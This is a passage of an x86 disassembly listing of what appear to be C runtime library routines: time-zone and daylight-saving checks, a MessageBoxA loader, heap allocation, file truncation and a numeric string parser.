cmp edi, ebp
jz short loc_41EC2A
neg ecx
mov dword_43ADC0, ecx
loc_41EC2A: ; CODE XREF: sub_41EA02+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43ADC4, eax
jz short loc_41EC52
push 3
push esi
push off_43AE50
call sub_416BE0
mov eax, off_43AE50
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41EC5A
; ---------------------------------------------------------------------------
loc_41EC52: ; CODE XREF: sub_41EA02+10Bj
; sub_41EA02+115j ...
mov eax, off_43AE50
and byte ptr [eax], 0
loc_41EC5A: ; CODE XREF: sub_41EA02+40j
; sub_41EA02+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41EA02 endp
; =============== S U B R O U T I N E =======================================
sub_41EC60 proc near ; CODE XREF: sub_41C0B6+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43ADC4, edi
jnz short loc_41EC74
loc_41EC6D: ; CODE XREF: sub_41EC60+148j
; sub_41EC60+150j ...
xor eax, eax
jmp loc_41EDC0
; ---------------------------------------------------------------------------
loc_41EC74: ; CODE XREF: sub_41EC60+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43AE58
jnz short loc_41EC92
cmp eax, dword_43AE68
jz loc_41ED94
loc_41EC92: ; CODE XREF: sub_41EC60+24j
cmp dword_46BD10, edi
jz loc_41ED6A
movzx ecx, word_46BDBE
push ecx
cmp word_46BDB0, di
movzx ecx, word_46BDBC
push ecx
movzx ecx, word_46BDBA
push ecx
movzx ecx, word_46BDB8
push ecx
jnz short loc_41ECE4
movzx ecx, word_46BDB4
push edi
push ecx
movzx ecx, word_46BDB6
push ecx
movzx ecx, word_46BDB2
push ecx
push eax
push ebx
jmp short loc_41ECF8
; ---------------------------------------------------------------------------
loc_41ECE4: ; CODE XREF: sub_41EC60+65j
movzx ecx, word_46BDB6
push ecx
push edi
movzx ecx, word_46BDB2
push edi
push ecx
push eax
push edi
loc_41ECF8: ; CODE XREF: sub_41EC60+82j
push ebx
call sub_41EE0C
movzx eax, word_46BD6A
add esp, 2Ch
cmp word_46BD5C, di
push eax
movzx eax, word_46BD68
push eax
movzx eax, word_46BD66
push eax
movzx eax, word_46BD64
push eax
jnz short loc_41ED52
movzx eax, word_46BD60
push edi
push eax
movzx eax, word_46BD62
push eax
movzx eax, word_46BD5E
push eax
push dword ptr [esi+14h]
push ebx
loc_41ED47: ; CODE XREF: sub_41EC60+108j
push edi
call sub_41EE0C
add esp, 2Ch
jmp short loc_41ED94
; ---------------------------------------------------------------------------
loc_41ED52: ; CODE XREF: sub_41EC60+C8j
movzx eax, word_46BD62
push eax
push edi
movzx eax, word_46BD5E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41ED47
; ---------------------------------------------------------------------------
loc_41ED6A: ; CODE XREF: sub_41EC60+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41EE0C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41EE0C
add esp, 58h
loc_41ED94: ; CODE XREF: sub_41EC60+2Cj
; sub_41EC60+F0j
mov edx, dword_43AE5C
mov eax, dword_43AE6C
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41EDC4
cmp ecx, edx
jl loc_41EC6D
cmp ecx, eax
jg loc_41EC6D
cmp ecx, edx
jle short loc_41EDD8
cmp ecx, eax
jge short loc_41EDD8
loc_41EDBE: ; CODE XREF: sub_41EC60+166j
; sub_41EC60+16Aj
mov eax, ebx
loc_41EDC0: ; CODE XREF: sub_41EC60+Fj
; sub_41EC60+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41EDC4: ; CODE XREF: sub_41EC60+144j
cmp ecx, eax
jl short loc_41EDBE
cmp ecx, edx
jg short loc_41EDBE
cmp ecx, eax
jle short loc_41EDD8
cmp ecx, edx
jl loc_41EC6D
loc_41EDD8: ; CODE XREF: sub_41EC60+158j
; sub_41EC60+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41EDFF
xor ecx, ecx
cmp eax, dword_43AE60
setnl cl
loc_41EDFB: ; CODE XREF: sub_41EC60+1AAj
mov eax, ecx
jmp short loc_41EDC0
; ---------------------------------------------------------------------------
loc_41EDFF: ; CODE XREF: sub_41EC60+18Ej
xor ecx, ecx
cmp eax, dword_43AE70
setl cl
jmp short loc_41EDFB
sub_41EC60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE0C proc near ; CODE XREF: sub_41EC60+99p
; sub_41EC60+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41EEA7
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41EE37
shl esi, 2
mov eax, dword_43AE70[esi]
jmp short loc_41EE40
; ---------------------------------------------------------------------------
loc_41EE37: ; CODE XREF: sub_41EE0C+1Ej
shl esi, 2
mov eax, dword_43AEA4[esi]
loc_41EE40: ; CODE XREF: sub_41EE0C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_41EE7A
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41EE84
; ---------------------------------------------------------------------------
loc_41EE7A: ; CODE XREF: sub_41EE0C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41EE84: ; CODE XREF: sub_41EE0C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41EEC2
cmp [ebp+arg_8], 0
jnz short loc_41EE98
mov esi, dword_43AE74[esi]
jmp short loc_41EE9E
; ---------------------------------------------------------------------------
loc_41EE98: ; CODE XREF: sub_41EE0C+82j
mov esi, dword_43AEA8[esi]
loc_41EE9E: ; CODE XREF: sub_41EE0C+8Aj
cmp ecx, esi
jle short loc_41EEC2
sub ecx, 7
jmp short loc_41EEC2
; ---------------------------------------------------------------------------
loc_41EEA7: ; CODE XREF: sub_41EE0C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41EEB8
mov ecx, dword_43AE70[eax*4]
jmp short loc_41EEBF
; ---------------------------------------------------------------------------
loc_41EEB8: ; CODE XREF: sub_41EE0C+A1j
mov ecx, dword_43AEA4[eax*4]
loc_41EEBF: ; CODE XREF: sub_41EE0C+AAj
add ecx, [ebp+arg_18]
loc_41EEC2: ; CODE XREF: sub_41EE0C+7Cj
; sub_41EE0C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41EEF3
mov eax, [ebp+arg_1C]
mov dword_43AE5C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43AE58, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43AE60, eax
jmp short loc_41EF48
; ---------------------------------------------------------------------------
loc_41EEF3: ; CODE XREF: sub_41EE0C+BAj
mov eax, [ebp+arg_1C]
mov dword_43AE6C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43ADC8
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43AE70, eax
jns short loc_41EF2B
add eax, 5265C00h
dec ecx
mov dword_43AE70, eax
jmp short loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EF2B: ; CODE XREF: sub_41EE0C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41EF42
sub eax, edx
inc ecx
mov dword_43AE70, eax
loc_41EF3C: ; CODE XREF: sub_41EE0C+11Dj
mov dword_43AE6C, ecx
loc_41EF42: ; CODE XREF: sub_41EE0C+126j
mov dword_43AE68, ebx
loc_41EF48: ; CODE XREF: sub_41EE0C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41EE0C endp
; =============== S U B R O U T I N E =======================================
sub_41EF4C proc near ; CODE XREF: sub_41D05F+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41EF5D
add esp, 0Ch
retn
sub_41EF4C endp
; =============== S U B R O U T I N E =======================================
sub_41EF5D proc near ; CODE XREF: sub_41EF4C+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_46D041[eax], cl
jnz short loc_41EF8A
cmp [esp+arg_4], 0
jz short loc_41EF83
movzx eax, word_4383FA[eax*2]
and eax, [esp+arg_4]
jmp short loc_41EF85
; ---------------------------------------------------------------------------
loc_41EF83: ; CODE XREF: sub_41EF5D+16j
xor eax, eax
loc_41EF85: ; CODE XREF: sub_41EF5D+24j
test eax, eax
jnz short loc_41EF8A
retn
; ---------------------------------------------------------------------------
loc_41EF8A: ; CODE XREF: sub_41EF5D+Fj
; sub_41EF5D+2Aj
push 1
pop eax
retn
sub_41EF5D endp
; =============== S U B R O U T I N E =======================================
sub_41EF8E proc near ; CODE XREF: sub_41D7B5+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_46BDCC, ebx
push esi
push edi
jnz short loc_41EFDD
push offset aUser32_dll ; "user32.dll"
call dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_41F013
mov esi, dword_4210C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_46BDCC, eax
jz short loc_41F013
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_46BDD0, eax
call esi ; GetProcAddress
mov dword_46BDD4, eax
loc_41EFDD: ; CODE XREF: sub_41EF8E+Bj
mov eax, dword_46BDD0
test eax, eax
jz short loc_41EFFC
call eax ; GetActiveWindow
mov ebx, eax
test ebx, ebx
jz short loc_41EFFC
mov eax, dword_46BDD4
test eax, eax
jz short loc_41EFFC
push ebx
call eax ; GetLastActivePopup
mov ebx, eax
loc_41EFFC: ; CODE XREF: sub_41EF8E+56j
; sub_41EF8E+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_46BDCC ; MessageBoxA
loc_41F00F: ; CODE XREF: sub_41EF8E+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F013: ; CODE XREF: sub_41EF8E+1Cj
; sub_41EF8E+33j
xor eax, eax
jmp short loc_41F00F
sub_41EF8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F017 proc near ; CODE XREF: sub_41D972+22p
; sub_41D972+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_41F038
test esi, esi
jnz short loc_41F032
push 1
pop esi
loc_41F032: ; CODE XREF: sub_41F017+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41F038: ; CODE XREF: sub_41F017+12j
; sub_41F017+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41F097
mov eax, dword_46D168
cmp eax, 3
jnz short loc_41F063
mov eax, [ebp+arg_0]
cmp eax, dword_46D160
ja short loc_41F082
push eax
call sub_419011
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41F0AD
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F063: ; CODE XREF: sub_41F017+30j
cmp eax, 2
jnz short loc_41F082
cmp esi, dword_43A634
ja short loc_41F082
mov eax, esi
shr eax, 4
push eax
call sub_419AB4
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41F0C1
loc_41F082: ; CODE XREF: sub_41F017+3Bj
; sub_41F017+4Aj ...
push esi
push 8
push dword_46D164
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41F0BB
loc_41F097: ; CODE XREF: sub_41F017+26j
cmp dword_46BB64, 0
jz short loc_41F0BB
push esi
call sub_418A88
test eax, eax
pop ecx
jz short loc_41F0C4
jmp short loc_41F038
; ---------------------------------------------------------------------------
loc_41F0AD: ; CODE XREF: sub_41F017+48j
push [ebp+arg_0]
loc_41F0B0: ; CODE XREF: sub_41F017+ABj
push 0
push edi
call sub_415390
add esp, 0Ch
loc_41F0BB: ; CODE XREF: sub_41F017+7Ej
; sub_41F017+87j
mov eax, edi
loc_41F0BD: ; CODE XREF: sub_41F017+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F0C1: ; CODE XREF: sub_41F017+69j
push esi
jmp short loc_41F0B0
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F017+92j
xor eax, eax
jmp short loc_41F0BD
sub_41F017 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41DA17
loc_41F0C8: ; CODE XREF: sub_41DA17+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_46CE00, esi
jle short loc_41F11B
loc_41F0D7: ; CODE XREF: sub_41DA17+1702j
mov eax, dword_46BDF8
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41F112
test byte ptr [eax+0Ch], 83h
jz short loc_41F0F6
push eax
call sub_415960
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41F0F6
inc edi
loc_41F0F6: ; CODE XREF: sub_41DA17+16D0j
; sub_41DA17+16DCj
cmp esi, 14h
jl short loc_41F112
mov eax, dword_46BDF8
push dword ptr [eax+esi*4]
call sub_415C9B
mov eax, dword_46BDF8
pop ecx
and dword ptr [eax+esi*4], 0
loc_41F112: ; CODE XREF: sub_41DA17+16CAj
; sub_41DA17+16E2j
inc esi
cmp esi, dword_46CE00
jl short loc_41F0D7
loc_41F11B: ; CODE XREF: sub_41DA17+16BEj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41DA17
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F120 proc near ; CODE XREF: sub_41DDF6+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_415B90
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_46CF20
jnb loc_41F255
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46CE20[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41F255
push 1
push esi
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41F25F
push 2
push esi
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41F25F
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41F202
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_415390
push 8000h
push ebx
call sub_41FD5A
add esp, 14h
mov [ebp+arg_4], eax
loc_41F1B6: ; CODE XREF: sub_41F120+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41F1C1
mov eax, edi
loc_41F1C1: ; CODE XREF: sub_41F120+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41CCC7
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41F1DF
sub edi, eax
test edi, edi
jle short loc_41F1F5
jmp short loc_41F1B6
; ---------------------------------------------------------------------------
loc_41F1DF: ; CODE XREF: sub_41F120+B5j
cmp dword_46BB08, 5
jnz short loc_41F1F2
mov dword_46BB04, 0Dh
loc_41F1F2: ; CODE XREF: sub_41F120+C6j
or esi, 0FFFFFFFFh
loc_41F1F5: ; CODE XREF: sub_41F120+BBj
push [ebp+arg_4]
push ebx
call sub_41FD5A
pop ecx
pop ecx
jmp short loc_41F242
; ---------------------------------------------------------------------------
loc_41F202: ; CODE XREF: sub_41F120+71j
jge short loc_41F242
push 0
push [ebp+arg_4]
push ebx
call sub_41C447
push ebx
call sub_41DD62
add esp, 10h
push eax
call dword_421010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41F242
mov dword_46BB04, 0Dh
call dword_421088 ; RtlGetLastWin32Error
mov dword_46BB08, eax
loc_41F242: ; CODE XREF: sub_41F120+E0j
; sub_41F120:loc_41F202j ...
push 0
push [ebp+arg_0]
push ebx
call sub_41C447
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41F262
; ---------------------------------------------------------------------------
loc_41F255: ; CODE XREF: sub_41F120+1Aj
; sub_41F120+36j
mov dword_46BB04, 9
loc_41F25F: ; CODE XREF: sub_41F120+4Ej
; sub_41F120+63j
or eax, 0FFFFFFFFh
loc_41F262: ; CODE XREF: sub_41F120+133j
pop esi
pop ebx
leave
retn
sub_41F120 endp
; =============== S U B R O U T I N E =======================================
sub_41F266 proc near ; CODE XREF: sub_41E261+2Bp
; sub_41E261+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41F27C
cmp ecx, esi
jnb short loc_41F27F
loc_41F27C: ; CODE XREF: sub_41F266+10j
push 1
pop eax
loc_41F27F: ; CODE XREF: sub_41F266+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41F266 endp
; =============== S U B R O U T I N E =======================================
sub_41F287 proc near ; CODE XREF: sub_41F340+40p
; sub_41F340+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41F2B9
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41F2B9
inc dword ptr [esi+8]
loc_41F2B9: ; CODE XREF: sub_41F287+19j
; sub_41F287+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41F2D1
inc dword ptr [esi+8]
loc_41F2D1: ; CODE XREF: sub_41F287+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41F266
add esp, 0Ch
pop edi
pop esi
retn
sub_41F287 endp
; =============== S U B R O U T I N E =======================================
sub_41F2E5 proc near ; CODE XREF: sub_41F340+30p
; sub_41F340+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41F2E5 endp
; =============== S U B R O U T I N E =======================================
sub_41F313 proc near ; CODE XREF: sub_41F8D8+1C8p
; sub_41FDD0+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41F313 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F340 proc near ; CODE XREF: sub_41F407+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41F3B4
push edi
mov [ebp+arg_8], eax
loc_41F367: ; CODE XREF: sub_41F340+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41F2E5
push ebx
call sub_41F2E5
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41F287
push ebx
call sub_41F2E5
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41F287
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41F367
xor edx, edx
pop edi
loc_41F3B4: ; CODE XREF: sub_41F340+21j
; sub_41F340+9Fj
cmp [ebx+8], edx
jnz short loc_41F3E1
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41F3B4
; ---------------------------------------------------------------------------
loc_41F3E1: ; CODE XREF: sub_41F340+77j
mov esi, 8000h
loc_41F3E6: ; CODE XREF: sub_41F340+B9j
test [ebx+8], esi
jnz short loc_41F3FB
push ebx
call sub_41F2E5
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41F3E6
; ---------------------------------------------------------------------------
loc_41F3FB: ; CODE XREF: sub_41F340+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41F340 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F407 proc near ; CODE XREF: sub_41E5AA+17p
; sub_41E5D7+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41F442: ; CODE XREF: sub_41F407+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41F458
cmp cl, 9
jz short loc_41F458
cmp cl, 0Ah
jz short loc_41F458
cmp cl, 0Dh
jnz short loc_41F45B
loc_41F458: ; CODE XREF: sub_41F407+40j
; sub_41F407+45j ...
inc edi
jmp short loc_41F442
; ---------------------------------------------------------------------------
loc_41F45B: ; CODE XREF: sub_41F407+4Fj
push 4
pop esi
loc_41F45E: ; CODE XREF: sub_41F407+AEj
; sub_41F407+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41F6E1 ; default
; jumptable 0041F46A case 10
jmp off_41F8A8[eax*4] ; switch jump
loc_41F471: ; DATA XREF: .text:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 0
jl short loc_41F482
cmp bl, 39h
jg short loc_41F482
loc_41F47B: ; CODE XREF: sub_41F407+C4j
; sub_41F407+118j
push 3
jmp loc_41F69F
; ---------------------------------------------------------------------------
loc_41F482: ; CODE XREF: sub_41F407+6Dj
; sub_41F407+72j
cmp bl, byte_438600
jnz short loc_41F491
loc_41F48A: ; CODE XREF: sub_41F407+124j
push 5
jmp loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F491: ; CODE XREF: sub_41F407+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41F4B7
dec eax
dec eax
jz short loc_41F4AB
sub eax, 3
jnz loc_41F77A
jmp loc_41F53A
; ---------------------------------------------------------------------------
loc_41F4AB: ; CODE XREF: sub_41F407+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41F45E
; ---------------------------------------------------------------------------
loc_41F4B7: ; CODE XREF: sub_41F407+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41F45E
; ---------------------------------------------------------------------------
loc_41F4C0: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 1
mov [ebp+var_10], edx
jl short loc_41F4CD
cmp bl, 39h
jle short loc_41F47B
loc_41F4CD: ; CODE XREF: sub_41F407+BFj
cmp bl, byte_438600
jz loc_41F595
cmp bl, 2Bh
jz short loc_41F50F
cmp bl, 2Dh
jz short loc_41F50F
cmp bl, 30h
jz short loc_41F53A
loc_41F4E8: ; CODE XREF: sub_41F407+207j
cmp bl, 43h
jle loc_41F77A
cmp bl, 45h
jle short loc_41F508
cmp bl, 63h
jle loc_41F77A
cmp bl, 65h
jg loc_41F77A
loc_41F508: ; CODE XREF: sub_41F407+EDj
push 6
jmp loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F50F: ; CODE XREF: sub_41F407+D5j
; sub_41F407+DAj ...
dec edi
push 0Bh
jmp loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F517: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 2
jl short loc_41F525
cmp bl, 39h
jle loc_41F47B
loc_41F525: ; CODE XREF: sub_41F407+113j
cmp bl, byte_438600
jz loc_41F48A
cmp bl, 30h
jnz loc_41F6EF
loc_41F53A: ; CODE XREF: sub_41F407+9Fj
; sub_41F407+DFj
mov eax, edx
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F541: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
mov [ebp+var_10], edx ; jumptable 0041F46A case 3
loc_41F544: ; CODE XREF: sub_41F407+184j
cmp dword_4385FC, edx
jle short loc_41F55D
movzx eax, bl
push esi
push eax
call sub_418576
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F56B
; ---------------------------------------------------------------------------
loc_41F55D: ; CODE XREF: sub_41F407+143j
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F56B: ; CODE XREF: sub_41F407+154j
test eax, eax
jz short loc_41F58D
cmp [ebp+var_4], 19h
jnb short loc_41F585
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41F588
; ---------------------------------------------------------------------------
loc_41F585: ; CODE XREF: sub_41F407+16Cj
inc [ebp+var_8]
loc_41F588: ; CODE XREF: sub_41F407+17Cj
mov bl, [edi]
inc edi
jmp short loc_41F544
; ---------------------------------------------------------------------------
loc_41F58D: ; CODE XREF: sub_41F407+166j
cmp bl, byte_438600
jnz short loc_41F5FC
loc_41F595: ; CODE XREF: sub_41F407+CCj
mov eax, esi
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F59C: ; CODE XREF: sub_41F407+63j
; DATA XREF: .text:off_41F8A8o
cmp [ebp+var_4], 0 ; jumptable 0041F46A case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41F5B5
loc_41F5A8: ; CODE XREF: sub_41F407+1ACj
cmp bl, 30h
jnz short loc_41F5B5
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41F5A8
; ---------------------------------------------------------------------------
loc_41F5B5: ; CODE XREF: sub_41F407+19Fj
; sub_41F407+1A4j ...
cmp dword_4385FC, edx
jle short loc_41F5CE
movzx eax, bl
push esi
push eax
call sub_418576
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F5DC
; ---------------------------------------------------------------------------
loc_41F5CE: ; CODE XREF: sub_41F407+1B4j
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
